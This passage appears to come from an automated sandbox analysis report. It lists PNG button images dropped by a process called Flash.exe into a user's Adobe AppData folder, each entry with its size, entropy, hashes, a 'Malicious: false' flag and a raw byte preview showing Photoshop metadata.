stRef:documentID="xmp.did:F34A84EE0DE411EB8CDFB8481F0A5248"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>a.V.....IDATx...AN.@..qfjt....wp.F...E..D....y.&..].&u...i.m....If..c._..+...W..............................j.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-close-press0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1066
Entropy (8bit):	6.237782267105358
Encrypted:	false
SSDEEP:	24:91hmYaWwjx82lY2T3XVGYr2CyJ3Vdcr2GVq9oV6SPdN:jMYLNn2DKpJ3h0hV62dN
MD5:	8D3EA64ABDAFA2323CD5A254D0E80D16
SHA1:	76720AFB8F76F0D55765D80AD75E9F49E3798465
SHA-256:	DD0E86D7166B893AABD5A85C4E3FED01F8F422A0C6D0A8588E54E873B8D63E7F
SHA-512:	4759732033A389F0EE1586AD7B493F9F04C8C845C0B6301443ED5DF546CED7CB1DE220FA37B06878D215C0E2141519F6CD0E9A5E27C0DF597523688FDAA2DEEA
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:0C37F6C2FCA111EA8DD9AC397C3FAD81" xmpMM:DocumentID="xmp.did:0C37F6C3FCA111EA8DD9AC397C3FAD81"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0C37F6C0FCA111EA8DD9AC397C3FAD81" stRef:documentID="xmp.did:0C37F6C1FCA111EA8DD9AC397C3FAD81"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...L....IDATx.b....3...&......u...F.0......'0....<H...f.`gg7....)l.....@jh...6....d.AjH1.......ZN.......r,....9..%

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-close-press1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	6.6428034089030765
Encrypted:	false
SSDEEP:	24:M1hmYaWwjx82lY2T3XVFZFxyJ3VLkl+G3IYM9kQPA3YEyVT:yMYLNn2DHbQJ3xg+fYfIZVT
MD5:	44462651451543BABD85C478BC53037C
SHA1:	F07C6922348FA29127DA791246EC66F64FF9AEC7
SHA-256:	34D4C1009F163C5CBEDFCC1271154411597963722707C3C811F4F65979E8332B
SHA-512:	EA0E89B6DF91053F608E367A87C52FB5182E2F83A130E6DB7DA40CC4CD6988A37EBDCCD349CCE3A073D390020897D3220B6166DA1BB1A623CAC9FC733F628FAA
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:F3A14B1F0DE411EBA4CD8DA6E7423258" xmpMM:DocumentID="xmp.did:F3A14B200DE411EBA4CD8DA6E7423258"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F3A14B1D0DE411EBA4CD8DA6E7423258" stRef:documentID="xmp.did:F3A14B1E0DE411EBA4CD8DA6E7423258"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......uIDATx...QJ.@.......C.x....^@_l=.g...>..T_Z.w(."...qF,H..-4.u...%.a....&uo......../....................... .:

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-close-process0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1066
Entropy (8bit):	6.278144383554729
Encrypted:	false
SSDEEP:	24:91hmYaWwjx82lY2T3XVDVr11yJ3V1wrDaGIzoV6SPdN:jMYLNn2D2J3J6V62dN
MD5:	8A964A99890E87512F704011E58760D4
SHA1:	8926C44577ED60AA726BC942AA6519DEE2F07323
SHA-256:	A83F403FCA6B1458E6BA9F4149DD7244D4639F2D198AE39D6A79D3CA160866D3
SHA-512:	CBDBC15C2B9257B7CFF3CAA0BDFD5DD739CC98274B10F490050C67464F347933F37B486926C0A9FB40490E729A5F43874EBCCE8F91A146E077F01537E26A1305
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:0C8A4B96FCA111EAA332E7649B764B7A" xmpMM:DocumentID="xmp.did:0C8A4B97FCA111EAA332E7649B764B7A"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0C8A4B94FCA111EAA332E7649B764B7A" stRef:documentID="xmp.did:0C8A4B95FCA111EAA332E7649B764B7A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.S.$....IDATx.b....3...&......u...F.0......'0....<H...f.`gg7....)l.....@jh...6....d.AjH1.......ZN.......r,....9..%

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-close-process1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	6.635413977859505
Encrypted:	false
SSDEEP:	24:M1hmYaWwjx82lY2T3XV5d/dyJ3Vr1mXVSG5IYM9kQPA3YEyVT:yMYLNn2D6J3scBYfIZVT
MD5:	F78C70EF80902039B95716B044DED519
SHA1:	CDAD3E88CB446266122E9F760180F555ED9941AB
SHA-256:	BB5A5CAB54884C8825B0B03718E3FC87CE60871AA4986184AF50C08E2310C7DB
SHA-512:	93F012BA32CD8559A835F17F5321D5AE5170D52508339FABE4015BAE07A126A0A300267B65F81AF0F94FB402CCCB969B95744F5BAF48FCF47CA14A5FD09B7574
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:F3EB1C2F0DE411EBA622D963E5370189" xmpMM:DocumentID="xmp.did:F3EB1C300DE411EBA622D963E5370189"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F3EB1C2D0DE411EBA622D963E5370189" stRef:documentID="xmp.did:F3EB1C2E0DE411EBA622D963E5370189"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>-.7,...uIDATx...QJ.@.......C.x....^@_l=.g...>..T_Z.w(."...qF,H..-4.u...%.a....&uo......../....................... .:

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-customize0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1351
Entropy (8bit):	6.879774710986547
Encrypted:	false
SSDEEP:	24:U1hmYaWwjx82lY2T3XVqmYbdEm6yJ3VImh4m/Gscc/QQTPlzAQr8os0:aMYLNn2DXI3BJ3Vl/6er+m3
MD5:	E6689683B5D840607515859604575E4D
SHA1:	B657430500F4AC3E5698D6C3D340E58EE8454A24
SHA-256:	F2A7175AF7710283494847CF68DFE1D6463F845324A2A628576B29CD01415EB2
SHA-512:	2A02ACF3DA3AA0056E7D2C6AA400C79B19392E4CA38F44214018AF9833BECCD1003F251F49EF0267EC7C43170A196B4D1A6AF358ED3D0ED1378313F0A4A567A8
Malicious:	false
Preview:	.PNG........IHDR................a....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:07BCA057FCA111EAA8798C0FA8652B64" xmpMM:DocumentID="xmp.did:07BCA058FCA111EAA8798C0FA8652B64"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:07BCA055FCA111EAA8798C0FA8652B64" stRef:documentID="xmp.did:07BCA056FCA111EAA8798C0FA8652B64"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......IDATx.S.J.Q..3.."...-.ZX..'D..oX&..>./.Em.....T..&.....H+.....{^o.5.y......{.........c.1'..9.).^%O(g7#.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-customize1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1814
Entropy (8bit):	7.2981448939266045
Encrypted:	false
SSDEEP:	24:91hmYaWwjx82lY2T3XVG6NyJ3V0e2AGyzYdzQDIvRoKULc/aeumVpKFI4eFXH:jMYLNn2DwJJ3CAt0MIpoxw/hCFI4YXH
MD5:	383C325D62A78ECD7C3B2984A24AD5E7
SHA1:	5D1FE3B9EA525ED0096ED8F1ADB9F73DBED019D9
SHA-256:	9A215608C6948032B77D6A012AB98CF1844FAD9C0A56232D10602D7225360826
SHA-512:	AC8BA5CBC0376EC94C2ED266C2C8664CA17507605FF131EE86CF52BB017683F47654C9FD681C69710A13D84C84AA1E1D66B8F234EAA950B0F6939E779223CBDD
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:F26977880DE411EB9A22BD81F6EFC7F0" xmpMM:DocumentID="xmp.did:F26977890DE411EB9A22BD81F6EFC7F0"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F26977860DE411EB9A22BD81F6EFC7F0" stRef:documentID="xmp.did:F26977870DE411EB9A22BD81F6EFC7F0"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>)9.....IDATx.W=L.a.~{....-........".q4..t3&..F..`@6qt.8........Db.L....F4`0...m)%-...x.w.k)o.$...{...{?.....

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-fold0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	6.820726466868658
Encrypted:	false
SSDEEP:	24:U1hmYaWwjx82lY2T3XV0WAa13byJ3VHavMGZaZ05Lk9koaXhEI87365uSkW:aMYLNn2DiWx2J3FoM4Vk9kJXhj87tSV
MD5:	C45E423BED8F4189B33D8E026C039013
SHA1:	9B6DD58B53DEC1AFEDAF6C6A16DE6E0E254690BA
SHA-256:	B896F0DC5F2A2A7E0C1707DC294CE773362AB2B19723D8B2F04647C5E3686094
SHA-512:	4D662A8A8972651A0C2D2788E6F841FC4A9E340C143E0B0FF651FBE905AF80A6B1924803756B8C4D35C4A7400FBD369B9A1CEB12656443CB2857DED70EDCCDE3
Malicious:	false
Preview:	.PNG........IHDR................a....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:075C2393FCA111EA9222A5DF82A45B8C" xmpMM:DocumentID="xmp.did:075C2394FCA111EA9222A5DF82A45B8C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:075C2391FCA111EA9222A5DF82A45B8C" stRef:documentID="xmp.did:075C2392FCA111EA9222A5DF82A45B8C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..y....IDATx.SMN.`..V....B..H.............B......1.$.1L\.O...It.?.. ...i.i...hR'yI..{..of.Z...XF$.[.E...8G...'y..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-fold1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1908
Entropy (8bit):	7.387402794868466
Encrypted:	false
SSDEEP:	48:jMYLNn2DGJ3cELLLuUBA2HoxZ00OTw3lkYGZDr1:oYR2SieA2I/RG
MD5:	F8DF5CC117B8DB1525057ABC90A2FCAD
SHA1:	00AD2E737731B8E381FF3EFA91B84FC24E033D72
SHA-256:	D520E2207817066C4AA1FBCBB501FB8F59498D18A2BF20305B2192248A4DF82F
SHA-512:	87EAC7FCEC6DE2B5909E5EA9AFE6CC2DA54AA47EDFD6D1DBDFF434785C451C6B37652D2FF817330E25A23067E7BE0A83590420A029BA9DA79939F0EC5AED5BC8
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:F21E60640DE411EB9B62D535228053E9" xmpMM:DocumentID="xmp.did:F21E60650DE411EB9B62D535228053E9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F21E60620DE411EB9B62D535228053E9" stRef:documentID="xmp.did:F21E60630DE411EB9B62D535228053E9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>}.......IDATx.WKL.Q......%EDA..0.....Ac...Y.....c.....]i.'.....;5.L4.@......Y...RZh..[.gx.S:...79I3}s..~.......

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-install-default0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 174 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5012
Entropy (8bit):	7.870780566671263
Encrypted:	false
SSDEEP:	96:gYR2uPtAUfLMOPxlu8mH8mISSY0JPXIFcNqMHf9d2BBL+37nQaGn:BZdMk9mI/Z57u+8aw
MD5:	4679D334680AAA90103CC4AE52B8F719
SHA1:	35E70B48C6CB10182C9189013E5B72DED7CCC011
SHA-256:	E7C1D7CD8470EF3E7FFB980447D333F6917A3973511B9BCB7328722A6330FADC
SHA-512:	FA76EDFC15C13C39E9B5F3F39CE0414D1798510FEE31D6FFA2662EA4EFE1ABED9589509C017A2EC470AF2274197C109AD4864FFB1D0575907E7B1B4A2F7AE8DC
Malicious:	false
Preview:	.PNG........IHDR.......@......BL.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:027DE8F1FCA111EA9C40DD8A75478DA6" xmpMM:DocumentID="xmp.did:027DE8F2FCA111EA9C40DD8A75478DA6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:027DE8EFFCA111EA9C40DD8A75478DA6" stRef:documentID="xmp.did:027DE8F0FCA111EA9C40DD8A75478DA6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.j......IDATx..Y...u...^.2....0R.0...~.c..,20.).M........5.%#0.<.!..%.....).r..N...h.3C....P....}.....UW.f..tM

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-install-default1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 348 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13214
Entropy (8bit):	7.955215604820384
Encrypted:	false
SSDEEP:	192:EmnUaAx73bZ6JnimWZPBUBnVSA3eHhyiUYbwq9C4bxaJ/jMcWBVVWy3Z:DU/xXfZZUBnwqkj0q9HbebvWzVT
MD5:	52CC7F9AF47C0573E0F6B4C8F469E761
SHA1:	95FDF1E055A3259E17C1B78DED93D3E3791A6770
SHA-256:	23A6EF7205AED574F44B6E25DA0EC589F91E92F64DDCD0B5B31B77196554D54F
SHA-512:	91E7141E7B8D65F50CD4279F39A615414F03C0C65FF29E960AA19FDEA5536FAC71C8F8DC3EE0C87DDB61A8C94E1052048E05B2737C3DD28A44DB69CA24655614
Malicious:	false
Preview:	.PNG........IHDR...\.........G.......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:EED43E3E0DE411EBA2DF8E4BD7C467EB" xmpMM:DocumentID="xmp.did:EED43E3F0DE411EBA2DF8E4BD7C467EB"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:EED43E3C0DE411EBA2DF8E4BD7C467EB" stRef:documentID="xmp.did:EED43E3D0DE411EBA2DF8E4BD7C467EB"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......0.IDATx..Y.$.q.3...l.f!.b.C$-).."..y!9.=..@_@VXv8.Oz._..g....Y......K.......vP2E..@ ..,..{...I.?.T....`0

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-install-disabled0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 174 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4877
Entropy (8bit):	7.869208732965926
Encrypted:	false
SSDEEP:	96:gYR2fWDFo9nPlxZI974oA5zjplkRLAD45lv7FycIu1Md5b0w00V+F:Bdo9PlxJr5UFADUh0cIV0BS+F
MD5:	8EA24E610B4E1BB24FEBBDAB1F90AF12
SHA1:	992E7B69505B28B0B8E85E102BFCFF508A91E0E9
SHA-256:	1122AF338C2D8ECA43166C93B4BC591DA823841CDD0D16C9B086DC17CECF0EBF
SHA-512:	DD0D7444698035999110865C8862AF5FFF741A14144E86D7B437F88FC9CE5EE3F775E995F8AD46BC3AEEDAA117566CEE654854C64EF941099EAFBBF617AC1C91
Malicious:	false
Preview:	.PNG........IHDR.......@......BL.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:CEDB536209DE11EB92A9C63D656E9B8C" xmpMM:DocumentID="xmp.did:CEDB536309DE11EB92A9C63D656E9B8C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:CEDB536009DE11EB92A9C63D656E9B8C" stRef:documentID="xmp.did:CEDB536109DE11EB92A9C63D656E9B8C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.R8....}IDATx..Ks[..../.$H..<..,9.c.e2.E,Uf3.!Y.j.;M..~...Jv...Yf..%;...I......g./H..(../.T..!..pI......~.."b.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-install-disabled1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 348 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12369
Entropy (8bit):	7.9521377148607195
Encrypted:	false
SSDEEP:	192:ELJWj+M/2gHxsVP1XtzSfCq25V0uhUOvMgCYje6N91Rg1ldw9djhtbsk:kJBA2UxszsFqHvMgCGTNZ+dw9VX
MD5:	4499BCECA8C8BA80F0AB87BD9D5FE156
SHA1:	4BF4679FD68FB317F239D7578726D53BD7A0037F
SHA-256:	2005774C1D3729600255ECCBA0A4F3C24D2DE6B3F57F53585550853496A148D5
SHA-512:	2862CDED6AE21F940E0EFF11956C248579EA88C8820BFD8F229858C78DC824CE1C6910F6A651A58127DA2830B635280AAE57EEF24B3ED583C251D6E3861CAAAC
Malicious:	false
Preview:	.PNG........IHDR...\.........G.......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:EDEEE6460DE411EBA378CD82425A4F8D" xmpMM:DocumentID="xmp.did:EDEEE6470DE411EBA378CD82425A4F8D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:EDEEE6440DE411EBA378CD82425A4F8D" stRef:documentID="xmp.did:EDEEE6450DE411EBA378CD82425A4F8D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.$'...,.IDATx..}[....Z{W..Q$e^dg ..m!.f.q<...$..&/y.[&?!.!.#.y..$oyOf... q..8..s.E..qF".%.J..].W....s!..#...*...

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-install-press0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 174 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4989
Entropy (8bit):	7.855234073597861
Encrypted:	false
SSDEEP:	96:gYR2eVdWXjQGmo4+H4rRbihG6MohMLiW1BSbjq/DHMSk:BeU1+H4rdmMYEDgj4sf
MD5:	CB128A48318AE42DB803D7123E4E7F99
SHA1:	5D730B77B4268FF9E56B8F616BCAAE895A07BC6D
SHA-256:	0E4FC0E7059CADD81B2DA35315C02C236E681A504607C4BA4A1415DA4D26839C
SHA-512:	CC7D6B94BFC5EDEEF154FCB3CC2ABAB03F0041CF6B05CC5993DB97EFB9364236D5436CEC05EEC0DB5F90FF4305B2662F6A8D2725DB092B3BFE61589ED565675B
Malicious:	false
Preview:	.PNG........IHDR.......@......BL.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:01D1EECAFCA111EA9D04AFD54FC9EEB3" xmpMM:DocumentID="xmp.did:01D1EECBFCA111EA9D04AFD54FC9EEB3"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:01D1EEC8FCA111EA9D04AFD54FC9EEB3" stRef:documentID="xmp.did:01D1EEC9FCA111EA9D04AFD54FC9EEB3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>3G_/....IDATx..[..IV....TU.......f..4o.B;6Z....O..<..../ @.........a`5.YO.=.K]...........l.....n..U..<....'Y

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-install-press1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 348 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13208
Entropy (8bit):	7.949065428738947
Encrypted:	false
